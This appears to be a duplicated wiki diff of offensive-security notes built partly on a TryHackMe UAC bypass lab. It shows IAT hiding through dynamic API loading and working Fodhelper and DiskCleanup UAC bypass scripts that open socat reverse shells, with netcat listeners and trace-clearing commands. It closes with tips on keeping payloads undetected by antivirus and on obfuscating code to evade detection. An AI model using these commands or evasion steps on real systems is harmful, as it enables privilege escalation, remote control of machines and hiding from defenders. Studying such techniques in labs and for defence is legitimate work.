To inspect the Import Address Table (IAT) of an ELF (Executable and Linkable Format) file, you can use various tools and techniques depending on your platform. Here are a few examples:


* Using readelf (Linux):
* Using readelf (Linux):


* Open a terminal and navigate to the directory where the ELF file is located.
* Open a terminal and navigate to the directory where the ELF file is located.


* Run the following command to display the dynamic section and imported symbols:
* Run the following command to display the dynamic section and imported symbols:
<code>readelf -d <binary_file></code>
<code>readelf -d <binary_file></code>
Replace <code><binary_file></code> with the name of your ELF file.
Replace <code><binary_file></code> with the name of your ELF file.


* Look for the "Dynamic Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
* Look for the "Dynamic Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.


* Using objdump (Linux):
* Using objdump (Linux):


* Open a terminal and navigate to the directory where the ELF file is located.
* Open a terminal and navigate to the directory where the ELF file is located.


* Run the following command to display the dynamic section and imported symbols:
* Run the following command to display the dynamic section and imported symbols:
<code>objdump -p <binary_file></code>
<code>objdump -p <binary_file></code>
Replace <code><binary_file></code> with the name of your ELF file.
Replace <code><binary_file></code> with the name of your ELF file.


* Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
* Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.


* Using nm (Linux):
* Using nm (Linux):


* Open a terminal and navigate to the directory where the ELF file is located.
* Open a terminal and navigate to the directory where the ELF file is located.


* Run the following command to display the symbols and their associated libraries:
* Run the following command to display the symbols and their associated libraries:
<code>nm -D <binary_file></code>
<code>nm -D <binary_file></code>
Replace <code><binary_file></code> with the name of your ELF file.
Replace <code><binary_file></code> with the name of your ELF file.


* Look for the symbols starting with "U" (meaning undefined). These symbols represent imported functions.
* Look for the symbols starting with "U" (meaning undefined). These symbols represent imported functions.


=== High-level Dynamic Loading in C ===
=== High-level Dynamic Loading in C ===


At a high level, we can break up dynamic loading in C languages into four steps,
At a high level, we can break up dynamic loading in C languages into four steps,


* Define the structure of the call
* Define the structure of the call


* Obtain the handle of the module the call address is present in
* Obtain the handle of the module the call address is present in


* Obtain the process address of the call
* Obtain the process address of the call


* Use the newly created call
* Use the newly created call


To begin dynamically loading an API call, we must first define a structure for the call before the main function. The call structure will define any inputs or outputs that may be required for the call to function. We can find structures for a specific call on the Microsoft documentation. For example, the structure for <code>GetComputerNameA</code> can be found [https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamea here]. Because we are implementing this as a new call in C, the syntax must change a little, but the structure stays the same, as seen below.
To begin dynamically loading an API call, we must first define a structure for the call before the main function. The call structure will define any inputs or outputs that may be required for the call to function. We can find structures for a specific call on the Microsoft documentation. For example, the structure for <code>GetComputerNameA</code> can be found [https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamea here]. Because we are implementing this as a new call in C, the syntax must change a little, but the structure stays the same, as seen below.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 4,979: Line 3,864:
);
);
</syntaxhighlight>
</syntaxhighlight>


To access the address of the API call, we must first load the library where it is defined. We will define this in the main function. This is commonly <code>kernel32.dll</code> or <code>ntdll.dll</code> for any Windows API calls. Below is an example of the syntax required to load a library into a module handle.
To access the address of the API call, we must first load the library where it is defined. We will define this in the main function. This is commonly <code>kernel32.dll</code> or <code>ntdll.dll</code> for any Windows API calls. Below is an example of the syntax required to load a library into a module handle.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 4,988: Line 3,871:
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
</syntaxhighlight>
</syntaxhighlight>


Using the previously loaded module, we can obtain the process address for the specified API call. This will come directly after the <code>LoadLibrary</code> call. We can store this call by casting it along with the previously defined structure. Below is an example of the syntax required to obtain the API call.
Using the previously loaded module, we can obtain the process address for the specified API call. This will come directly after the <code>LoadLibrary</code> call. We can store this call by casting it along with the previously defined structure. Below is an example of the syntax required to obtain the API call.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 4,997: Line 3,878:
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");
</syntaxhighlight>
</syntaxhighlight>


Although this method solves many concerns and problems, there are still several considerations that must be noted. Firstly, <code>GetProcAddress</code> and <code>LoadLibraryA</code> are still present in the IAT; although not a direct indicator it can lead to or reinforce suspicion; this problem can be solved using '''PIC''' ('''P'''osition '''I'''ndependent '''C'''ode). Modern agents will also hook specific functions and monitor kernel interactions; this can be solved using '''API unhooking'''.
Although this method solves many concerns and problems, there are still several considerations that must be noted. Firstly, <code>GetProcAddress</code> and <code>LoadLibraryA</code> are still present in the IAT; although not a direct indicator it can lead to or reinforce suspicion; this problem can be solved using '''PIC''' ('''P'''osition '''I'''ndependent '''C'''ode). Modern agents will also hook specific functions and monitor kernel interactions; this can be solved using '''API unhooking'''.


=== Task ===
=== Task ===


Obfuscate the following C snippet, ensuring no suspicious API calls are present in the IAT.
Obfuscate the following C snippet, ensuring no suspicious API calls are present in the IAT.


'''Original'''
'''Original'''


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
Line 5,015: Line 3,891:
#include
#include
#include
#include
int main() {
int main() {
     printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
     printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
Line 5,025: Line 3,900:
}
}
</syntaxhighlight>
</syntaxhighlight>


'''Obfuscated '''
'''Obfuscated '''


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
Line 5,034: Line 3,907:
#include
#include
#include
#include
// 1. Define the structure of the call
// 1. Define the structure of the call
typedef BOOL(WINAPI* myNotGetComputerNameA)(
typedef BOOL(WINAPI* myNotGetComputerNameA)(
Line 5,040: Line 3,912:
     LPDWORD nSize
     LPDWORD nSize
     );
     );


int main() {
int main() {
     // 2. Obtain the handle of the module the call address is present in
     // 2. Obtain the handle of the module the call address is present in
     HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
     HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
     // 3. Obtain the process address of the call
     // 3. Obtain the process address of the call
     myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA)GetProcAddress(hkernel32, "GetComputerNameA");
     myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA)GetProcAddress(hkernel32, "GetComputerNameA");


     printf("notGetComputerNameA: 0x%p\\n", GetComputerNameA);
     printf("notGetComputerNameA: 0x%p\\n", GetComputerNameA);
Line 5,058: Line 3,927:
}
}
</syntaxhighlight>
</syntaxhighlight>


= UAC Bypass =
= UAC Bypass =


== User Account Control ==
== User Account Control ==


=== What is UAC? ===
=== What is UAC? ===


User Account Control (UAC) is a Windows security feature that forces any new process to run in the security context of a non-privileged account by default. This policy applies to processes started by any user, including administrators themselves. The idea is that we can't solely rely on the user's identity to determine if some actions should be authorized.
User Account Control (UAC) is a Windows security feature that forces any new process to run in the security context of a non-privileged account by default. This policy applies to processes started by any user, including administrators themselves. The idea is that we can't solely rely on the user's identity to determine if some actions should be authorized.


Imagine you are using your computer and you receive an email with an attached file. The email claims to be from a trusted source, but you're not entirely sure if it's legitimate. Without thinking much about it, you download and open the file.
Imagine you are using your computer and you receive an email with an attached file. The email claims to be from a trusted source, but you're not entirely sure if it's legitimate. Without thinking much about it, you download and open the file.


Now, let's consider two scenarios: one with UAC disabled and the other with UAC enabled.
Now, let's consider two scenarios: one with UAC disabled and the other with UAC enabled.


* UAC Disabled: In this scenario, your computer has UAC disabled, and you are logged in as an administrator. When you open the file, the malicious program hidden within it gains instant access to your administrator privileges. It can then carry out various actions on your computer without any restrictions. It might modify system settings, delete important files, or install other malware without your knowledge or consent. The consequences can be severe, and your computer's security is at risk.
* UAC Disabled: In this scenario, your computer has UAC disabled, and you are logged in as an administrator. When you open the file, the malicious program hidden within it gains instant access to your administrator privileges. It can then carry out various actions on your computer without any restrictions. It might modify system settings, delete important files, or install other malware without your knowledge or consent. The consequences can be severe, and your computer's security is at risk.


* UAC Enabled: In this scenario, UAC is enabled on your computer, and you are logged in as an administrator. When you open the file, UAC recognizes that a new program is attempting to run and triggers a prompt. The prompt asks for your explicit approval to run the program with administrative privileges. At this point, you become aware that something is trying to gain elevated access to your system. You can review the prompt, assess the legitimacy of the program, and decide whether to authorize its execution. If you're suspicious or uncertain about the file's source, you can deny the request and prevent the malicious program from gaining administrator privileges. By enabling UAC, you have added a layer of protection that helps prevent unauthorized actions and potential damage to your computer.
* UAC Enabled: In this scenario, UAC is enabled on your computer, and you are logged in as an administrator. When you open the file, UAC recognizes that a new program is attempting to run and triggers a prompt. The prompt asks for your explicit approval to run the program with administrative privileges. At this point, you become aware that something is trying to gain elevated access to your system. You can review the prompt, assess the legitimacy of the program, and decide whether to authorize its execution. If you're suspicious or uncertain about the file's source, you can deny the request and prevent the malicious program from gaining administrator privileges. By enabling UAC, you have added a layer of protection that helps prevent unauthorized actions and potential damage to your computer.


[[File:2023-06-image-8.png|thumb]]
[[File:2023-06-image-8.png|thumb]]


=== Integrity Levels ===
=== Integrity Levels ===


UAC, or User Account Control, is a security feature in Windows that uses something called Mandatory Integrity Control (MIC). It helps keep things safe by giving different levels of access to users, programs, and files. Imagine it like giving different security badges to different people.
UAC, or User Account Control, is a security feature in Windows that uses something called Mandatory Integrity Control (MIC). It helps keep things safe by giving different levels of access to users, programs, and files. Imagine it like giving different security badges to different people.


UAC and MIC use Integrity Levels (ILs) to determine who can access what. Think of ILs as different ranks or levels of access. If you have a higher IL, you can access resources with lower or equal ILs. It's like having a higher security clearance that allows you to enter certain areas.
UAC and MIC use Integrity Levels (ILs) to determine who can access what. Think of ILs as different ranks or levels of access. If you have a higher IL, you can access resources with lower or equal ILs. It's like having a higher security clearance that allows you to enter certain areas.


In simple terms, UAC and MIC make sure that users, programs, and files have different access levels. It's like giving different security badges to different people, and the highest badge gets the most access. MIC is in charge and overrides the regular rules, so even if you have permission, your access depends on your IL.
In simple terms, UAC and MIC make sure that users, programs, and files have different access levels. It's like giving different security badges to different people, and the highest badge gets the most access. MIC is in charge and overrides the regular rules, so even if you have permission, your access depends on your IL.


The following 4 ILs are used by Windows, ordered from lowest to highest:
The following 4 ILs are used by Windows, ordered from lowest to highest:


{| class="wikitable"
{| class="wikitable"
Line 5,119: Line 3,973:
| Reserved for system use.
| Reserved for system use.
|}
|}


=== Filtered Tokens ===
=== Filtered Tokens ===


To accomplish this separation of roles, UAC treats regular users and administrators in a slightly different way during logon:
To accomplish this separation of roles, UAC treats regular users and administrators in a slightly different way during logon:


* '''Non-administrators''' will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL.
* '''Non-administrators''' will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL.


* '''Administrators''' will receive two access tokens:
* '''Administrators''' will receive two access tokens:
'''Filtered Token:''' A token with Administrator privileges stripped, used for regular operations. This token has Medium IL.
'''Filtered Token:''' A token with Administrator privileges stripped, used for regular operations. This token has Medium IL.


* '''Elevated Token:''' A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL.
* '''Elevated Token:''' A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL.


=== UAC Internals ===
=== UAC Internals ===


At the heart of UAC, we have the '''Application Information Service''' or '''Appinfo'''. Whenever a user requires elevation, the following occurs:
At the heart of UAC, we have the '''Application Information Service''' or '''Appinfo'''. Whenever a user requires elevation, the following occurs:


* The user requests to run an application as administrator.
* The user requests to run an application as administrator.


* A '''ShellExecute''' API call is made using the '''runas''' verb.
* A '''ShellExecute''' API call is made using the '''runas''' verb.


* The request gets forwarded to Appinfo to handle elevation.
* The request gets forwarded to Appinfo to handle elevation.


* The application manifest is checked to see if AutoElevation is allowed (more on this later).
* The application manifest is checked to see if AutoElevation is allowed (more on this later).


* Appinfo executes '''consent.exe''', which shows the UAC prompt on a '''secure desktop'''. A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user's desktop to avoid other processes from tampering with the UAC prompt in any way.
* Appinfo executes '''consent.exe''', which shows the UAC prompt on a '''secure desktop'''. A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user's desktop to avoid other processes from tampering with the UAC prompt in any way.


* If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user's Elevated Token. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested.
* If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user's Elevated Token. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested.


[[File:fce906f0e438efa938753430e5d25afe.png|thumb|https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/fce906f0e438efa938753430e5d25afe.png]]
[[File:fce906f0e438efa938753430e5d25afe.png|thumb|https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/fce906f0e438efa938753430e5d25afe.png]]


== UAC - GUI based Bypass ==
== UAC - GUI based Bypass ==


=== msconfig ===
=== msconfig ===


[[File:2023-06-image-10.png|thumb]]
[[File:2023-06-image-10.png|thumb]]


[[File:2023-06-image-11.png|thumb]]
[[File:2023-06-image-11.png|thumb]]


[[File:2023-06-image-12.png|thumb]]
[[File:2023-06-image-12.png|thumb]]


[[File:2023-06-image-13.png|thumb]]
[[File:2023-06-image-13.png|thumb]]


=== azman.msc ===
=== azman.msc ===


[[File:2023-06-image-14.png|thumb]]
[[File:2023-06-image-14.png|thumb]]


[[File:2023-06-image-15.png|thumb]]
[[File:2023-06-image-15.png|thumb]]


[[File:2023-06-image-16.png|thumb]]
[[File:2023-06-image-16.png|thumb]]


[[File:2023-06-image-17.png|thumb]]
[[File:2023-06-image-17.png|thumb]]


[[File:2023-06-image-18-1.png|thumb]]
[[File:2023-06-image-18-1.png|thumb]]


[[File:2023-06-image-19.png|thumb]]
[[File:2023-06-image-19.png|thumb]]


[[File:2023-06-image-20.png|thumb]]
[[File:2023-06-image-20.png|thumb]]


== UAC - Auto-elevating Process ==
== UAC - Auto-elevating Process ==


Some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel's functionality and some executables provided with Windows.
Some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel's functionality and some executables provided with Windows.


For an application, some requirements need to be met to auto-elevate:
For an application, some requirements need to be met to auto-elevate:


* The executable must be signed by the Windows Publisher
* The executable must be signed by the Windows Publisher


* The executable must be contained in a trusted directory, like <code>%SystemRoot%/System32/</code>'''''' or <code>%ProgramFiles%/</code>
* The executable must be contained in a trusted directory, like <code>%SystemRoot%/System32/</code>'''''' or <code>%ProgramFiles%/</code>


Some application may have additional requirments:
Some application may have additional requirments:


* Executable files (.exe) must declare the '''autoElevate''' element inside their manifests. 
* Executable files (.exe) must declare the '''autoElevate''' element inside their manifests. 


To check a file's manifest, we can use '''[https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck sigcheck]'''.
To check a file's manifest, we can use '''[https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck sigcheck]'''.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...
...


true
true
true
true


</syntaxhighlight>
</syntaxhighlight>


=== Case study: Fodhelper ===
=== Case study: Fodhelper ===


This will be caught by Windows defender without obfuscation because of registry-key manipulation.
This will be caught by Windows defender without obfuscation because of registry-key manipulation.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
# This UAC bypass tries to execute your command with elevated privileges using fodhelper.exe
# This UAC bypass tries to execute your command with elevated privileges using fodhelper.exe
# Define the command you want to execute with elevated privileges
# Define the command you want to execute with elevated privileges
$yourevilcommand = "C:\Windows\System32\cmd.exe"
$yourevilcommand = "C:\Windows\System32\cmd.exe"
# Adding all the registry keys required to associate your command with ms-settings
# Adding all the registry keys required to associate your command with ms-settings
# Create a new registry key for the ms-settings ProgID under the current user's hive
# Create a new registry key for the ms-settings ProgID under the current user's hive
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
# Create a new registry value called DelegateExecute with an empty value under the ms-settings ProgID key
# Create a new registry value called DelegateExecute with an empty value under the ms-settings ProgID key
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
# Set the default value of the ms-settings ProgID key to your evil command
# Set the default value of the ms-settings ProgID key to your evil command
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force
# Start the fodhelper process to execute your command with elevated privileges
# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Cleaning up the mess created by removing the ms-settings registry key and its subkeys
# Cleaning up the mess created by removing the ms-settings registry key and its subkeys
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
</syntaxhighlight>
</syntaxhighlight>


=== UAC - Improving Fodhelper exploit to Bypass Windows Defender  ===
=== UAC - Improving Fodhelper exploit to Bypass Windows Defender  ===


Instead of writing our payload into <code>HKCU\Software\Classes\ms-settings\Shell\Open\command</code>'''''', we will use the <code>CurVer</code>'''''' entry under a progID registry key. This entry is used when you have multiple instances of an application with different versions running on the same system. CurVer allows you to point to the default version of the application to be used by Windows when opening a given file type.
Instead of writing our payload into <code>HKCU\Software\Classes\ms-settings\Shell\Open\command</code>'''''', we will use the <code>CurVer</code>'''''' entry under a progID registry key. This entry is used when you have multiple instances of an application with different versions running on the same system. CurVer allows you to point to the default version of the application to be used by Windows when opening a given file type.


To this end, we will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use.
To this end, we will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use.


The exploit code proposed by @V3ded.
The exploit code proposed by @V3ded.


This will still be caught by Windows Defender, but the idea here is to play around with different ways to bypass AV.
This will still be caught by Windows Defender, but the idea here is to play around with different ways to bypass AV.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
# Define the command you want to execute with elevated privileges
# Define the command you want to execute with elevated privileges
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes"
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes"
# Creating file association for custom extension ".pwn" to execute your command
# Creating file association for custom extension ".pwn" to execute your command
# Create a new registry key for the file extension ".pwn" under the current user's hive
# Create a new registry key for the file extension ".pwn" under the current user's hive
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
# Set the default value of the ".pwn" key to your program/command
# Set the default value of the ".pwn" key to your program/command
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
# Create a new registry key under the current user's hive for the ms-settings ProgID association
# Create a new registry key under the current user's hive for the ms-settings ProgID association
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
# Set the default value of the ms-settings CurVer key to ".pwn" (your custom extension)
# Set the default value of the ms-settings CurVer key to ".pwn" (your custom extension)
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force
# Start the fodhelper process to execute your command with elevated privileges
# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
</syntaxhighlight>
</syntaxhighlight>


=== Case study: Disk Cleanup Scheduled Task ===
=== Case study: Disk Cleanup Scheduled Task ===


Source: [https://tryhackme.com/room/bypassinguac TryHackMe | Bypassing UAC]
Source: [https://tryhackme.com/room/bypassinguac TryHackMe | Bypassing UAC]


To understand why we are picking Disk Cleanup, let's open the '''Task Scheduler''' and check the task's configuration:
To understand why we are picking Disk Cleanup, let's open the '''Task Scheduler''' and check the task's configuration:


[[File:24b5ce8c9a6cb1194ed66054bc2ed09e.png|thumb]]
[[File:24b5ce8c9a6cb1194ed66054bc2ed09e.png|thumb]]


Here we can see that the task is configured to run with the '''Users''' account, which means it will inherit the privileges from the calling user. The '''Run with highest privileges''' option will use the highest privilege security token available to the calling user, which is a high IL token for an administrator. Notice that if a regular non-admin user invokes this task, it will execute with medium IL only since that is the highest privilege token available to non-admins, and therefore the bypass wouldn't work.
Here we can see that the task is configured to run with the '''Users''' account, which means it will inherit the privileges from the calling user. The '''Run with highest privileges''' option will use the highest privilege security token available to the calling user, which is a high IL token for an administrator. Notice that if a regular non-admin user invokes this task, it will execute with medium IL only since that is the highest privilege token available to non-admins, and therefore the bypass wouldn't work.


Checking the Actions and Settings tabs, we have the following:
Checking the Actions and Settings tabs, we have the following:


[[File:3b8dd4c6a441eb19620bc3bedd536a8b.png|thumb]]
[[File:3b8dd4c6a441eb19620bc3bedd536a8b.png|thumb]]


The task can be run on-demand, executing the following command when invoked:
The task can be run on-demand, executing the following command when invoked:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%
%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%
</syntaxhighlight>
</syntaxhighlight>


Since the command depends on environment variables, we might be able to inject commands through them and get them executed by starting the DiskCleanup task manually.
Since the command depends on environment variables, we might be able to inject commands through them and get them executed by starting the DiskCleanup task manually.


Luckily for us, we can override the <code>%windir%</code> variable through the registry by creating an entry in <code>HKCU\Environment</code>''''''. If we want to execute a reverse shell using socat, we can set <code>%windir%</code>  as follows (without the quotes):
Luckily for us, we can override the <code>%windir%</code> variable through the registry by creating an entry in <code>HKCU\Environment</code>''''''. If we want to execute a reverse shell using socat, we can set <code>%windir%</code>  as follows (without the quotes):


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
"cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM "
"cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM "
</syntaxhighlight>
</syntaxhighlight>


At the end of our command, we concatenate "&REM " (ending with a blank space) to comment whatever is put after <code>%windir%</code> when expanding the environment variable to get the final command used by DiskCleanup. The resulting command would be (be sure to replace your IP address where needed):
At the end of our command, we concatenate "&REM " (ending with a blank space) to comment whatever is put after <code>%windir%</code> when expanding the environment variable to get the final command used by DiskCleanup. The resulting command would be (be sure to replace your IP address where needed):


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%
cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%
</syntaxhighlight>
</syntaxhighlight>


Where anything after the "REM" is ignored as a comment.
Where anything after the "REM" is ignored as a comment.


=== Putting it all together ===
=== Putting it all together ===


Let's set up a listener for a reverse shell with nc:
Let's set up a listener for a reverse shell with nc:
<code>nc -lvp 4446</code>
<code>nc -lvp 4446</code>


We will then connect to the backdoor provided on port 9999:
We will then connect to the backdoor provided on port 9999:
<code>nc MACHINE_IP 9999</code>
<code>nc MACHINE_IP 9999</code>


And finally, run the following commands to write our payload to <code>%windir%</code> and then execute the DiskCleanup task (be sure to replace your IP address where needed):
And finally, run the following commands to write our payload to <code>%windir%</code> and then execute the DiskCleanup task (be sure to replace your IP address where needed):


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP::4446 EXEC:cmd.exe,pipes &REM " /f
C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP::4446 EXEC:cmd.exe,pipes &REM " /f
C:\> schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
C:\> schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
</syntaxhighlight>
</syntaxhighlight>


As a result, you should obtain a shell with high IL:
As a result, you should obtain a shell with high IL:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 5,395: Line 4,162:
Microsoft Windows [Version 10.0.17763.1821]
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /groups | find "Label"
C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288
</syntaxhighlight>
</syntaxhighlight>


To retrieve the DiskCleanup flag, use your new shell to execute:
To retrieve the DiskCleanup flag, use your new shell to execute:


Administrator: Command Prompt
Administrator: Command Prompt


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
C:\flags\GetFlag-diskcleanup.exe
C:\flags\GetFlag-diskcleanup.exe
</syntaxhighlight>
</syntaxhighlight>


=== Clearing our tracks ===
=== Clearing our tracks ===


As a result of executing this exploit, some artefacts were created on the target system, such as registry keys. To avoid detection, we need to clean up after ourselves with the following command:
As a result of executing this exploit, some artefacts were created on the target system, such as registry keys. To avoid detection, we need to clean up after ourselves with the following command:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
reg delete "HKCU\Environment" /v "windir" /f
reg delete "HKCU\Environment" /v "windir" /f
</syntaxhighlight>
</syntaxhighlight>


= Living off the Land =
= Living off the Land =


== What is Living off the Land? ==
== What is Living off the Land? ==


"Living Off the Land" refers to a technique used by attackers or hackers to leverage existing tools, utilities, or features that are already present on a targeted system or network for malicious purposes. Rather than relying on sophisticated malware or external tools, attackers exploit legitimate software or built-in functionalities to carry out their activities, making it harder to detect their actions.
"Living Off the Land" refers to a technique used by attackers or hackers to leverage existing tools, utilities, or features that are already present on a targeted system or network for malicious purposes. Rather than relying on sophisticated malware or external tools, attackers exploit legitimate software or built-in functionalities to carry out their activities, making it harder to detect their actions.


== Windows Sysinternals ==
== Windows Sysinternals ==


The following are some popular Windows Sysinternals tools:
The following are some popular Windows Sysinternals tools:


{| class="wikitable"
{| class="wikitable"
Line 5,467: Line 4,221:
| Provides information for a specified domain name or IP address.
| Provides information for a specified domain name or IP address.
|}
|}


== LOLBAS Project ==
== LOLBAS Project ==


[https://lolbas-project.github.io/ LOLBAS (lolbas-project.github.io)]
[https://lolbas-project.github.io/ LOLBAS (lolbas-project.github.io)]


[[File:2023-06-image-23.png|thumb]]
[[File:2023-06-image-23.png|thumb]]
[[Category:Offensive Security]]
[[Category:Offensive Security]]

Latest revision as of 22:19, 17 February 2026

Source

  • Document and organize all available API calls with malicious vectors, including SANs and MalAPI.io.

Good tools

Malware forums/channels/discord

  • Havoc Framework discord
  • Hacktricks discord
  • OnlyMalware Discord (Need to write intro)

Test payload against AV

  • https://virustotal.com (Don’t use if you want your payload to be udetected. Virustotal sends a copy of payload to antiviurs vendors.
  • Jotti's malware scan ( All files are shared with anti-virus companies so detection accuracy of their anti-virus products can be improved.)

Defcon - Writing custom backdoor payloads with C#

GitHub - mvelazc0/defcon27_csharp_workshop: Writing custom backdoor payloads with C# - Defcon 27 Workshop

WritingCustomPayloads_Defcon27_LabGuideDownload


Step by Step for obfuscating code

  • Rename Variables: Change the names of variables, methods, and classes to non-descriptive or misleading names. Use random names or unrelated words to make it harder to understand the purpose and flow of the code.
  • Use different method for injection. Don't rely on VirtualAlloc, as that would be flagged easily.
  • Remove Whitespace and Formatting: Remove unnecessary whitespace, line breaks, and indentation from the code. This makes the code more difficult to read and follow.
  • Split Strings: Split sensitive strings used in the code into multiple parts and concatenate them at runtime. This makes it harder for someone to extract the original strings from the code.
  • Use Obfuscated Logic: Modify conditional statements and loops to use obfuscated logic. Introduce additional conditions, nested conditions, or bitwise operations to confuse the understanding of the code's behavior.
  • Add Dummy Code: Insert irrelevant or meaningless code snippets throughout the code. This can include unused variables, empty loops, or false branches. Add a function to calculate things and just spit out nonsense. These additions make the code harder to understand and analyze.
  • Replace Constants: Replace literal values or constants in the code with calculations or obfuscated equivalents. For example, instead of using the value 1, you could use a calculation like Math.Sqrt(1).
  • Remove or Modify Comments: Remove or modify comments in the code that provide insights into its functionality. Replace them with misleading or irrelevant comments to confuse the reader.
  • Code Rearrangement: Rearrange the order of statements, functions, or code blocks. This disrupts the logical flow of the code and makes it harder to follow.
